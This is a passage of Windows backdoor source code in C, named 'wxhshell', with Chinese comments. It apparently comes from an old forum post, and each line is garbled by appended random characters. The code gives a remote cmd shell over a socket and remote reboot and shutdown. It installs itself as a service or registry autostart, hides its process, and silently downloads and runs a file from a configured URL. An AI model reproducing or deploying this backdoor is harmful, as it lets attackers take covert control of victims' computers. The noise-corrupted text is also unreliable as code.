  else { $k~TVm Yex  
CF bNv9GZj  
    switch(cmd[0]) { c -+NWC  
  }A3/(  
  // 帮助 rFXdxRP;M  
  case '?': { ^')8-aF .  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rW?WdEg  
    break; j9 nw,x$  
  } <%)vl P#@  
  // 安装 (y9KO56.V&  
  case 'i': {  3 xyrWl  
    if(Install()) dtTn]}J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"t#dG]1t  
    else EX]+e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J M`w6}  
    break; 0*{(R#  
    } NUsxMhP  
  // 卸载 :c*"Dx'D  
  case 'r': { 2-4N)q  
    if(Uninstall()) Bu:%trlgV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ln>!4i+-B)  
    else -@>{q/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i2<z"v63  
    break; #T7v]@K67  
    } rS1gFGrj  
  // 显示 wxhshell 所在路径 ('&lAn  
  case 'p': { bn*:Bn1  
    char svExeFile[MAX_PATH]; VX)8 pV$  
    strcpy(svExeFile,"\n\r"); 65LtCQ }  
      strcat(svExeFile,ExeFile); *;A ;)'  
        send(wsh,svExeFile,strlen(svExeFile),0); D \ rns+  
    break; |1@O>GG  
    } j,YrM?Xdo  
  // 重启 tT]@yo|?e/  
  case 'b': { !JCs'?A  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7By7F:[b  
    if(Boot(REBOOT)) PxKBcx4o`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aT0~C.vT  
    else { 2C S9v  
    closesocket(wsh); un "I  
    ExitThread(0); LK'(OZ  
    } H{}&|;0  
    break; E*'YxI  
    } $LXa]  
  // 关机 XCM!8x?K  
  case 'd': { Jm4uj &}3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y '/6T]a  
    if(Boot(SHUTDOWN)) \[G'cE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ifn=De3+  
    else { zhJeTctRz  
    closesocket(wsh); PD&e6;rj;  
    ExitThread(0); H oQb.Z  
    } YIe1AF}   
    break; J*B-*6O44  
    } k{*EoV[.$  
  // 获取shell d@3DsE.{i  
  case 's': { ?m)<kY  
    CmdShell(wsh); uaIAVBRcS  
    closesocket(wsh); 5EtR>Pc  
    ExitThread(0); = 3(v4E':5  
    break; .tRm1&Qi  
  } /?8 1Ypt  
  // 退出 ;.h /D4  
  case 'x': { |V34;}\4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W2{w<<\$3}  
    CloseIt(wsh); `EKf1U\FI  
    break; +`>7cy%cZ  
    } m>uG{4<-  
  // 离开 MHwfJ{"zo  
  case 'q': {  2s}S9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bm#5bhX\|  
    closesocket(wsh); R}oN8  
    WSACleanup(); ILuQ.VhBVN  
    exit(1); @5Tl84@Q  
    break; \;7U:Y$v  
        } Cmx<>7fN  
  } nlv,j&  
  } S}C[  
6mcb'hy  
  // 提示信息 QSaDa@OV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JC'3x9_<z  
} SQ) BS/8A  
  } ;lmg0dtJ  
m=}h7&5p  
  return; hj];a,Br&  
} A"*=K;u/|m  
>Tf}aI+  
// shell模块句柄 G 2`YZ\  
int CmdShell(SOCKET sock) 8~U ^G[!  
{ ?0~g1"Y-*K  
STARTUPINFO si; ykQb;ZP8jh  
ZeroMemory(&si,sizeof(si)); uzp\V 39  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L@Rgiq|v-|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +s#%\:Y M  
PROCESS_INFORMATION ProcessInfo; P(PBOB97  
char cmdline[]="cmd"; x(c+~4:_M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SGKAx<U  
  return 0; &YIL As^8A  
} M~zI;:0O  
O/eZ1YAC  
// 自身启动模式 ?;tPqOs&  
int StartFromService(void) z$&B7?  
{ |5flvkid  
typedef struct >33=0<  
{ _`gF%$]b  
  DWORD ExitStatus; Mmz; uy_  
  DWORD PebBaseAddress; T#*,ME7|m  
  DWORD AffinityMask; fTEZ@#p  
  DWORD BasePriority; #ed|0  
  ULONG UniqueProcessId; sm18u-  
  ULONG InheritedFromUniqueProcessId; jwwRejNV  
}   PROCESS_BASIC_INFORMATION; 8R)K$J$Hm  
2D!jVr!  
PROCNTQSIP NtQueryInformationProcess; 1XiA  
6vNW)1{nn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (H:c8 0/V  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }hy4EJ  
AYf}=t|  
  HANDLE             hProcess; |6So$;`  
  PROCESS_BASIC_INFORMATION pbi; | >}CoR7  
|ts0j/A]Pi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]{=y8]7  
  if(NULL == hInst ) return 0; -gGw_w?)(  
J *LPv9)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TX5??o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FKL4`GEm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /US%s  
&_3#W.w~Z  
  if (!NtQueryInformationProcess) return 0; ; 8[VCU:  
QYH#WrIVx  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Ht.P670  
  if(!hProcess) return 0; ]Q FI>  
B-g uz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fDYTupKXH  
]D nAW'm  
  CloseHandle(hProcess); [xGwqa03  
gI7*zR4D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o;c"-^>  
if(hProcess==NULL) return 0; (pH)QG  
:G6CWE  
HMODULE hMod; Fepsa;\sU  
char procName[255]; W9l ](Ow  
unsigned long cbNeeded; ;tQc{8O6L  
<IWg]AJT :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C6c*y\O\7  
r?)1)?JnHe  
  CloseHandle(hProcess); 6!i`\>I]  
#;99vwc  
if(strstr(procName,"services")) return 1; // 以服务启动 gy?uk~p  
F7' MoH  
  return 0; // 注册表启动 $j,$O>V  
} f5//?ek  
6}Y==GP t  
// 主模块 [!U%''  
int StartWxhshell(LPSTR lpCmdLine) H%vgPQ8  
{ 6,4vs+(|\  
  SOCKET wsl; Wpf~Ji6||  
BOOL val=TRUE; I3 6@x`f  
  int port=0; 5ppr;QaB  
  struct sockaddr_in door; ,i6U*  
Qc Wg  
  if(wscfg.ws_autoins) Install(); @@ @}FV&  
!{,2uQXe  
port=atoi(lpCmdLine); >Ec;6V e  
?9xWTVa8  
if(port<=0) port=wscfg.ws_port; Lp%J:ogV`  
(6/aHSXI  
  WSADATA data; C_3,|Zq?|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3` IR ^  
!hJ!ck]M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7/M[T\c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O-.G("  
  door.sin_family = AF_INET; )09ltr0@"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?h1g$SBxk  
  door.sin_port = htons(port); w3i74C&0  
h>>~Bi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -5v{p  
closesocket(wsl); @u$NB3  
return 1; R{[v#sF >#  
} "KF]s.  
!pj&h0CR  
  if(listen(wsl,2) == INVALID_SOCKET) { BNk>D|D;  
closesocket(wsl); S['rTuk  
return 1; aAP86MHO  
} s5v}S'uO{  
  Wxhshell(wsl); "%Ief4  
  WSACleanup(); w15a~\Qu  
J:)ml  
return 0; HjzAFXRG  
qsEFf(9G  
} gcI<bY  
^d# AU7V|  
// 以NT服务方式启动 tSni[,4Kq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -+i7T^@|  
{ rR ^o  
DWORD   status = 0; ]2ab~ gr  
  DWORD   specificError = 0xfffffff; S@[NKY  
CXGMc)#>f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hi2JG{i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;d fIzi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KXz7l\1Gb  
  serviceStatus.dwWin32ExitCode     = 0; :RDk{^b)  
  serviceStatus.dwServiceSpecificExitCode = 0; D'%M#S0   
  serviceStatus.dwCheckPoint       = 0; 1}Guhayy  
  serviceStatus.dwWaitHint       = 0; "PS ) "t  
DD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H>D?  
  if (hServiceStatusHandle==0) return; @K S.H  
[j TU nP  
status = GetLastError(); ?.-+U~  
  if (status!=NO_ERROR) KbciRRf!k  
{ ,c`Wmp^AY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Jw;G_dQ[  
    serviceStatus.dwCheckPoint       = 0; eC<?g  
    serviceStatus.dwWaitHint       = 0; ,*9gy$  
    serviceStatus.dwWin32ExitCode     = status; zgGJ<=G.  
    serviceStatus.dwServiceSpecificExitCode = specificError; YADXXQ"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xEq?[M  
    return; O`!XW8  
  } ml)\RL  
#N|JC d_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,y-!h@(  
  serviceStatus.dwCheckPoint       = 0; ? 47"$=G  
  serviceStatus.dwWaitHint       = 0; ' Qlj"U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f6\4 ,()  
} 'ahZ*@kr  
`H9 +]TWj<  
// 处理NT服务事件,比如:启动、停止 hW~UJ/$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a*&&6Fo  
{ tCRsaDK>  
switch(fdwControl) A"qDc  
{ Z<=L  
case SERVICE_CONTROL_STOP: ugj I$u  
  serviceStatus.dwWin32ExitCode = 0; 2[1t )EW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ] X)~D!mA  
  serviceStatus.dwCheckPoint   = 0; u^Ktz DmL  
  serviceStatus.dwWaitHint     = 0; WAtv4  
  { 3A =\Mb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .h/2-pQ>  
  } S !lrnH  
  return; 0ap'6  
case SERVICE_CONTROL_PAUSE: 1fM`n5?"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eHIcfp@&  
  break; r}(mjC"o  
case SERVICE_CONTROL_CONTINUE: e%)MIAS0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6#qt%t%?D  
  break; 1A* "v  
case SERVICE_CONTROL_INTERROGATE: b5.]}>]t  
  break; R?#=^$7U  
}; |+[Y_j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $*:$-  
} w/PE)xA  
nWK7*  
// 标准应用程序主函数 Q.3:"dT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X f;R'a,$  
{ k}qCkm27  
sk:B; .z  
// 获取操作系统版本 v>mK~0.$  
OsIsNt=GetOsVer(); u"wWekB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t.\Pn4  
eR`Q7]j] -  
  // 从命令行安装 f `}/^*D  
  if(strpbrk(lpCmdLine,"iI")) Install(); U KTfLh  
%2B1E( r%M  
  // 下载执行文件 /2*Bd E[yG  
if(wscfg.ws_downexe) { |TQ4:P1T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =\MAz[IDj  
  WinExec(wscfg.ws_filenam,SW_HIDE); mQSn*;9\T3  
} )%kiM<})  
d0Ubt  
if(!OsIsNt) { a2]ZYY`R7  
// 如果时win9x,隐藏进程并且设置为注册表启动 K3WaBcm  
HideProc(); gLFTnMO  
StartWxhshell(lpCmdLine); JvP>[vb  
} <R~;|&o,$  
else #W.vX=/*  
  if(StartFromService()) paMK]-  
  // 以服务方式启动 rz`"$g+#  
  StartServiceCtrlDispatcher(DispatchTable); Lm<WT*@  
else x&+&)d  
  // 普通方式启动 D dCcsYm,  
  StartWxhshell(lpCmdLine); *XYp~b  
darbL_1  
return 0; 5}! 36SO\  
}
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只看该作者 1 发表于: 2006-10-10
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